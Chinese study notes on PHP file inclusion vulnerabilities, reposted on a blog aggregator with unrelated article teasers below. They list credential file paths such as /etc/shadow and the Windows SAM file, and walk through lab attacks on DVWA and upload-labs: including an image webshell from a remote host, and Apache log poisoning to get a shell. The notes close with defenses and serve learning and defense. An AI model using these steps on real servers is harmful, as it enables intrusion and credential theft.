文件包含学习总结

目录

漏洞简介

漏洞原理

漏洞分类

漏洞防御


漏洞简介

  • 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

漏洞原理

  • 在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

漏洞分类

  • 本地文件包含

    • 只能包含本地服务器上存在的文件。

      • 用户对输入可控且无过滤

      • 可以利用相对路径或绝对路径读取系统敏感文件

  • 远程文件包含

    • 包含远程服务器上的文件。

      需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器(比如:攻击者自己搭建的一个Web服务器)的文件。

      • allow_url_fopen=On (默认为On) 规定是否允许从远程服务器或者网站检索数据

      • allow_url_include=On (php5.2之后默认为Off) 规定是否允许include/require远程文件

    • 区别:

      • 本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤,允许遍历目录的字符注入浏览器并执行

      • 远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本并对外开放一个web服务,以确保该脚本能被访问到。此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击,甚至在目标服务器上执行代码。

      • 本地文件包含与远程文件有着相同的原理,但前者只能包含服务器上存在的文件,而后者可以包含远程服务器上的文件。

    • 文件包含函数:

      require() include()
      require_once() include_once()
      include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
      而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
    • 可能出现文件包含的点:url中出现:?page=xxx file=xxx ?home=xxx,并且后面的参数值是一个路径或者文件,可以配合文件上传进行验证

    • 常见的敏感信息路径:

      • windows:
        c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrc\MetaBase.xml  //IIS配置文件 c:\windows\repair\sam //存储windows系统初次安装的密码 c:\programFiles\mysql\my.ini //MYSQL root密码
        c:\windows\php.ini // php 配置信息
      • linux:
        /etc/passwd // 账户信息
        ​
        /etc/shadow // 账户密码文件
        ​
        /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
        /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
        ​
        /usr/local/app/php5/lib/php.ini // PHP相关配置
        ​
        /etc/httpd/conf/httpd.conf // Apache配置文件
        ​
        /etc/my.conf // mysql 配置文件
    • 远程文件包含演示:这里使用的是dvwa和upload-labs结合,让upload-labs文件包含漏洞模块成功包含dvwa文件上传的图片马.(此处注意包含的远程文件不能为php文件,否则不是在upload-labs机器上执行,而是在原文件所在服务器上执行--源文件服务器可以解析PHP文件的情况下.)

      • 首先在dvwa中上传图片马:

      • 使用upload-labs中的文件包含:http://127.0.0.1/upload_labs/include.php?file=http://192.168.111.144/hackable/uploads/fish.png发现成功包含:

        使用蚁剑连接成功:

    • 通过文件包含getshell:

      • 中间件日志包含:

        • 和之前文件包含类似,这里我们需要知道日志的地址,同时让php代码加载到日志中,并且让文件包含文件能够包含得到日志文件,这样就可以getshell

        • 这里的实例仍然使用dvwa:首先赋予权限,确保web服务器可以访问的到日志文件:chmod 755 /var/log/apache2 chmod 644 access.log 然后使用dvwa访问一段php代码,这里使用phpinfo做演示,注意,url中直接发送会使得特殊符号编码,于是抓包修改,这里我们可以在日志文件中发现我们写入的php代码:

        • 在通过文件包含就可以执行,http://192.168.111.144/vulnerabilities/fi/?page=/var/log/apache2/access.log后续只需将phpinfo改为一句话木马即可getshell

      • 配合文件上传getshell:在upload-labs中已经进行演示,主要是利用文件上传图片马,然后通过文件包含使得文件被当做php文件解析,最后蚁剑连接

漏洞防御

    1. 设置白名单(文件名可以确定)

    2. 过滤危险字符(判断文件名称是否为合法的php文件)

    3. 设置文件目录权限(对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录)

    4. 关闭危险配置(无需情况下设置allow_url_include和allow_url_fopen为关闭)

    5. 严格检查include类的文件包含函数中的参数是否外界可控

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/90665.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/90665.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

TQZC706开发板教程:创建PCIE项目

本例程基于zc706开发板,使用xdma核创建PCIE项目,最终实现插入主机可识别出Xilinx设备。在vivado中创建一个空的706项目。创建完成后添加IP核-->搜索xdma-->双击打开配置。添加XDMA核如下所示basic配置peic id中设置设备号等信息,这里保…

科技赋能景区生.态,负氧离子气象监测站筑牢清新防线

负氧离子气象监测站,如同景区空气质量的坚固防线,默默守护着每一寸土地的清新。​它以精准的监测能力为防线基石。借助 “吸入式电容收集法”,能敏锐捕捉空气中负氧离子的踪迹,精准测量其浓度,同时将温度、湿度、PM2.5…

AMD官网下载失败,不让账户登录下载

别使用163邮箱 使用QQ邮箱,然后用GPT生成一个外国,比如日本的地区信息填上去就可以下载了

Elasticsearch-8.17.0 centos7安装

下载链接 https://www.elastic.co/downloads/past-releases/elasticsearch-8-17-0 https://www.elastic.co/downloads/past-releases/logstash-8-17-0 https://www.elastic.co/cn/downloads/past-releases/kibana-8-17-0https://artifacts.elastic.co/downloads/elasticsearch/…

windows下SAS9.4软件下载与安装教程

SAS 9.4是SAS公司推出的一款功能强大的统计分析软件,广泛应用于数据分析、商业智能、预测分析、数据挖掘及统计建模等多个领域。数据处理与管理能力:SAS 9.4支持多种数据格式的导入导出,包括JSON、XML等,便于处理来自Web和API的数…

MyBatis-Plus极速开发指南

MyBatis-Plus简介MyBatis-Plus 是一个 MyBatis 的增强工具,在 MyBatis 的基础上只做增强不做改变,简化开发,提高效率。它提供了以下主要特性:无侵入:只做增强不做改变,引入它不会对现有工程产生影响强大的 …

Django接口自动化平台实现(五)

8. 测试用例执行 预期效果如下:用例执行逻辑如下:前端提交用例 id 列表到后台,后台获取每一条用例的信息;后台获取域名信息、用例 id 列表;对用例的请求数据进行变量的参数化、函数化等预处理操作;根据先后…

一个没有手动加分号引发的bug

最近因为分号的疏忽&#xff0c;导致出现了一个bug&#xff0c;记录下来&#xff0c;分享给大家。 1、一个示例 给你下面这一段代码&#xff0c;你根据经验判断一下运营结果 let [a,b] [a,b] let [x,y] [1,2] if(x < y){[x,y] [y,x][a,b] [b,a] }按照一般的理解&#xf…

Elasticsearch安全审计日志设置与最佳实践

一、Elasticsearch安全审计简介 审计日志&#xff08;Audit Logging&#xff09;用于记录Elasticsearch中的安全相关事件&#xff0c;包括认证失败、连接拒绝、数据访问事件以及通过API对安全配置&#xff08;如用户、角色、API密钥&#xff09;的变更记录。 注意&#xff1a;审…

算法训练营day29 贪心算法③ 134. 加油站、135. 分发糖果 、860.柠檬水找零、406.根据身高重建队列

贪心算法的第三篇博客&#xff0c;继续脑筋风暴&#xff01; 134. 加油站 写在前面 这道题规定了有解的话&#xff0c;必定为唯一解 贪心思路 直接从全局进行贪心选择&#xff0c;情况如下&#xff1a; 情况一&#xff1a;如果gas的总和小于cost总和&#xff0c;那么无论从…

【09】C#入门到精通——C# 结构体对齐 与 常用数据 对应关系

文章目录1 C# 结构体对齐1.1 默认对齐方式1.2 节对齐方式设置1.3 偏移量设置2 C#与C/C之间类型的对应关系1 C# 结构体对齐 1.1 默认对齐方式 struct默认对齐方式&#xff0c;结构体长度必须是&#xff0c;最大成员长度的整数倍&#xff0c;所以下面结构体大小是 24 (实际占用…

pytest 测试报告生成方案有哪些?

在 pytest 中&#xff0c;除了 Allure 和 HTMLTestRunner&#xff0c;还有许多其他生成测试报告的方法和插件。以下是一些常用的方案及其特点&#xff1a;1. pytest-html&#xff08;官方推荐&#xff09;特点&#xff1a;轻量级、易集成&#xff0c;生成独立的 HTML 报告。安装…

Unity中EditorPrefs与PlayerPrefs对比分析

Unity中EditorPrefs与PlayerPrefs对比分析 EditorPrefs与PlayerPrefs是Unity引擎中用于数据持久化的两个核心类&#xff0c;分别用于于编辑器扩展与游戏运行时场景。以下从设计目标、存储位置、数据类型、生命周期、安全性、使用场景等方面展开对比&#xff0c;并结合代码示例说…

蓝光中的愧疚

蓝光中的愧疚活动结束那晚&#xff0c;深圳的空气吸饱了水汽&#xff0c;沉甸甸地压在胸口。我站在西乡社区活动中心冰凉的玻璃门外&#xff0c;目送着最后一个离开的王老师。她关掉门厅的灯&#xff0c;电子门锁合拢时发出轻微却尖锐的“嘀”声&#xff0c;像一根细针扎在我紧…

Linux: network: wireshark: esp attempt to detec null-encrypted esp payloads

最近看到一个pcap文件&#xff0c;里面有esp协议包&#xff0c;而且是明文/没有加密的消息&#xff0c;为什么wireshark没有将esp上层的tcp/sip消息没有解出来。 类似于Info列只有ESP的信息。后来选中了协议选项里的&#xff1a;attempt to detect/decode NULL encrypted ESP p…

10分钟搭建脚手架:Spring Boot 3.2 + Vue3 前后端分离模板

10分钟搭建脚手架&#xff1a;Spring Boot 3.2 Vue3 前后端分离模板一、项目结构设计二、后端搭建&#xff08;Spring Boot 3.2&#xff09;1. 快速初始化&#xff08;使用 Spring Initializr&#xff09;2. 核心配置application.yml跨域配置 CorsConfig.java3. 安全配置Secur…

【轨物方案】分布式光伏电站运维升级智能化系列:老电站的数智化重生

自2010年分布式光伏在国内兴起以来&#xff0c;十余年间&#xff0c;市场装机容量已实现飞跃式增长。长期以来&#xff0c;传统的人工巡查和抄表模式是它们日常运维的主要手段。然而&#xff0c;随着电站数量的激增和设备的老化&#xff0c;由此导致的事故频发&#xff0c;使得…

RAG 技术深度面试题:架构、优化与实践应用

1. RAG 基础架构设计 问题&#xff1a;对比单阶段检索&#xff08;Single-stage Retrieval&#xff09;与两阶段检索&#xff08;Two-stage Retrieval&#xff09;在 RAG 系统中的架构差异&#xff0c;说明在企业知识库场景下为何优先选择两阶段检索&#xff1f; 答案&#xff…

yolov8通道级剪枝讲解(超详细思考版)

为了提升推理速度并降低部署成本&#xff0c;模型剪枝已成为关键技术。本文将结合实践操作&#xff0c;讲解YOLOv8模型剪枝的方法原理、实施步骤及注意事项。 虽然YOLOv8n版本本身参数量少、推理速度快&#xff0c;能满足大多数工业检测需求&#xff0c;但谷歌研究表明&#x…

JavaSE:随机数生成

随机数在游戏开发、密码学、模拟测试等场景中扮演着关键角色。本文将深入探讨Java中两种主流的随机数生成技术&#xff1a;Random类和Math.random()方法&#xff0c;并解析背后的类与对象概念&#xff0c;助你全面掌握随机数生成的核心机制。一、随机数生成的两大技术 Java提供…